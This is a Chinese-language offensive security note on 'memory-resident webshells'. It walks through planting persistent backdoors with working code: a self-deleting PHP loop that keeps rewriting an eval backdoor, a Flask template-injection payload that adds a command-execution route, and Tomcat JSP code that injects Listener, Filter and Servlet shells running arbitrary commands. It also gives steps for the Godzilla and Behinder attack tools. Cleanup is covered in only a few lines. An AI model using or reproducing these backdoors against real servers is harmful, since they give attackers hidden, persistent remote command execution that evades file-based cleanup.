【笔记】WebShell内存马

前言

WebShell内存马

PHP

  • 上传木马文件

在内存中写入一个无限循环语句来创建木马文件

ignore_user_abort(true);:当前php文件被删除后仍然执行程序
@unlink(__FILE__);:程序执行后删除当前文件
<file_name>:木马文件文件名,如果是Linux平台保存的文件可以用.作为前缀保存为隐藏文件
1000:循环创建文件的间隔

x.php
1
2
3
4
5
6
7
8
9
10
11
<?php
ignore_user_abort(true);
set_time_limit(0);
@unlink(__FILE__);
$file = '<file_name>.php';
$code = '<?php @eval($_POST[\'x\']); ?>';
while (true){
file_put_contents($file,$code);
usleep(1000);
}
?>
  • 触发

触发后会自动删除当前文件

request
1
GET http://127.0.0.1:80/x.php
  • 执行WebShell
request
1
POST http://127.0.0.1:80/<file_name>.php?x=<shell>

清除方法

  • 关闭PHP服务再删除生成的木马文件

Python

Flask

request
1
GET http://127.0.0.1:80/?id=%7B%7B%20url_for.__globals__%5B'__builtins__'%5D%5B'eval'%5D(%22app.add_url_rule('%2Fshell'%2C%20'shell'%2C%20lambda%20%3A__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd'%2C%20'whoami')).read())%22%2C%7B'_request_ctx_stack'%3Aurl_for.__globals__%5B'_request_ctx_stack'%5D%2C'app'%3Aurl_for.__globals__%5B'current_app'%5D%7D)%20%7D%7D
  • 执行WebShell
request
1
GET http://127.0.0.1:80/shell?cmd=<shell>

清除方法

  • 重启Flask服务

Java

Servlet

Listener型

  • 上传木马文件
x.jsp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%
Object obj = request.getServletContext();
java.lang.reflect.Field field = obj.getClass().getDeclaredField("context");
field.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) field.get(obj);
// 获取ApplicationContext
field = applicationContext.getClass().getDeclaredField("context");
field.setAccessible(true);
StandardContext standardContext = (StandardContext) field.get(applicationContext);
// 获取StandardContext
ListenerDemo listenerdemo = new ListenerDemo();
// 创建能够执行命令的Listener
standardContext.addApplicationEventListener(listenerdemo);
%>
<%!
public class ListenerDemo implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("requestDestroyed");
}

public void requestInitialized(ServletRequestEvent sre) {
System.out.println("requestInitialized");
try {
String cmd = sre.getServletRequest().getParameter("cmd");
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
//e.printStackTrace();
}
}
}
%>
  • 触发
request
1
GET http://127.0.0.1:80/x.jsp
  • 执行WebShell

<random>:任意路由

request
1
GET http://127.0.0.1:80/<random>?cmd=<shell>

Filter型

  • 上传木马文件

/bin/bash:命令解释器,Linux为/bin/bash,Windows为C:\\Windows\\System32\\cmd.exe

x.jsp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8" %>
<%@ page import="java.io.IOException" %>
<%@ page import="javax.servlet.DispatcherType" %>
<%@ page import="javax.servlet.Filter" %>
<%@ page import="javax.servlet.FilterChain" %>
<%@ page import="javax.servlet.FilterConfig" %>
<%@ page import="javax.servlet.FilterRegistration" %>
<%@ page import="javax.servlet.ServletContext" %>
<%@ page import="javax.servlet.ServletException" %>
<%@ page import="javax.servlet.ServletRequest" %>
<%@ page import="javax.servlet.ServletResponse" %>
<%@ page import="javax.servlet.annotation.WebServlet" %>
<%@ page import="javax.servlet.http.HttpServlet" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="javax.servlet.http.HttpServletResponse" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.*" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.lang.reflect.*" %>
<%@ page import="java.util.EnumSet" %>
<%@ page import="java.util.Map" %>


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<%
final String name = "n1ntyfilter";

ServletContext ctx = request.getSession().getServletContext();
Field f = ctx.getClass().getDeclaredField("context");
f.setAccessible(true);
ApplicationContext appCtx = (ApplicationContext) f.get(ctx);

f = appCtx.getClass().getDeclaredField("context");
f.setAccessible(true);
StandardContext standardCtx = (StandardContext) f.get(appCtx);


f = standardCtx.getClass().getDeclaredField("filterConfigs");
f.setAccessible(true);
Map filterConfigs = (Map) f.get(standardCtx);

if (filterConfigs.get(name) == null) {
out.println("inject " + name);

Filter filter = new Filter() {
@Override
public void init(FilterConfig arg0) throws ServletException {
// TODO Auto-generated method stub
}

@Override
public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2)
throws IOException, ServletException {
// TODO Auto-generated method stub
HttpServletRequest req = (HttpServletRequest) arg0;
if (req.getParameter("cmd") != null) {
byte[] data = new byte[1024];
Process p = new ProcessBuilder("/bin/bash", "-c", req.getParameter("cmd")).start();
int len = p.getInputStream().read(data);
p.destroy();
arg1.getWriter().write(new String(data, 0, len));
return;
}
arg2.doFilter(arg0, arg1);
}

@Override
public void destroy() {
// TODO Auto-generated method stub
}
};

FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);

standardCtx.addFilterDef(filterDef);

FilterMap m = new FilterMap();
m.setFilterName(filterDef.getFilterName());
m.setDispatcher(DispatcherType.REQUEST.name());
m.addURLPattern("/*");


standardCtx.addFilterMapBefore(m);


Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
FilterConfig filterConfig = (FilterConfig) constructor.newInstance(standardCtx, filterDef);


filterConfigs.put(name, filterConfig);

out.println("injected");
}
%>
</body>
</html>
  • 触发

触发后会自动删除当前文件

request
1
GET http://127.0.0.1:80/x.jsp
  • 执行WebShell

<random>:任意路由

request
1
GET http://127.0.0.1:80/<random>?cmd=<shell>

Servlet型

  • 上传木马文件
x.jsp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>

<%
// 创建恶意Servlet
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {

}

@Override
public ServletConfig getServletConfig() {
return null;
}

@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}

@Override
public String getServletInfo() {
return null;
}

@Override
public void destroy() {

}
};

%>
<%
// 获取StandardContext
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext) webappClassLoaderBase.getResources().getContext();

// 用Wrapper对其进行封装
org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();
newWrapper.setName("jweny");
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());

// 添加封装后的恶意Wrapper到StandardContext的children当中
standardCtx.addChild(newWrapper);

// 添加ServletMapping将访问的URL和Servlet进行绑定
standardCtx.addServletMapping("/shell", "jweny");
%>
  • 触发
request
1
GET http://127.0.0.1:80/x.jsp
  • 执行WebShell

<random>:任意路由

request
1
GET http://127.0.0.1:80/<random>?cmd=<shell>

清除方法

  • 重启Tomcat服务

哥斯拉

植入内存马

  • 已连接会话->MemoryShell->run

URL_PATTERN:定义内存马访问路径/favicon.ico
PASSWORD:定义密码
SECRET_KEY:定义密钥
PAYLOAD:定义内存马加密方式AES_BASE64

连接内存马

  • 目标->连接->URL密码密钥填写上面设置的内存马的配置->有效载荷选择JavaDynamicPayload->加密器选择JAVA_AES_BASE64->连接

冰蝎(魔改版)

  • 选中已建立的连接->右键->注入JSP和ASPX内存马->选择注入类型为Filter->设置注入路径->保存

  • 右键空白处->新增->URL设置内存马的访问路径->密码与之前的连接的密码保持一致->脚本类型选择jsp->保存

完成